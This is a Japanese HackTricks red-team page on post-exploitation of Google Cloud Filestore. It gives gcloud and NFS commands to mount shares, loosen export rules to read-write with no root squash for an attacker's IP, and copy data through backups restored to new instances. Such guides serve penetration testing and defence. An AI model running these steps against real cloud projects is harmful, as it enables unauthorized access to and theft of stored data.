GCP - Filestore Post Exploitation

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

Filestore

Filestoreに関する詳細情報は次を参照してください:

pageGCP - Filestore Enum

Mount Filestore

共有ファイルシステムには、攻撃者の視点から興味深い機密情報が含まれている可能性があります。Filestoreへのアクセスを持っていると、それをマウントすることが可能です:

sudo apt-get update
sudo apt-get install nfs-common
# Check the share name
showmount -e <IP>
# Mount the share
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs

ファイルストアインスタンスのIPアドレスを見つけるには、ページの列挙セクションを確認してください:

pageGCP - Filestore Enum

制限を解除して追加の権限を取得する

攻撃者が共有にアクセス権を持っていないIPアドレスにいる場合でも、それを変更する権限が十分にある場合は、制限を解除するかアクセス権を取得することが可能です。また、IPアドレスに対してより多くの特権を付与して、共有に管理者アクセス権を持つことも可能です:

gcloud filestore instances update nfstest \
--zone=<exact-zone> \
--flags-file=nfs.json

# Contents of nfs.json
{
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
}

バックアップの復元

バックアップがある場合、既存のインスタンスまたは新しいインスタンスにそれを復元して、その情報にアクセスできるようになります。

# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it

バックアップを作成して復元する

共有へのアクセス権がなく、変更したくない場合、前述のようにそれのバックアップを作成して復元することが可能です:

# Create share backup
gcloud filestore backups create <back-name> \
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>

# Follow the previous section commands to restore it and mount it
htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!

HackTricksをサポートする他の方法:

最終更新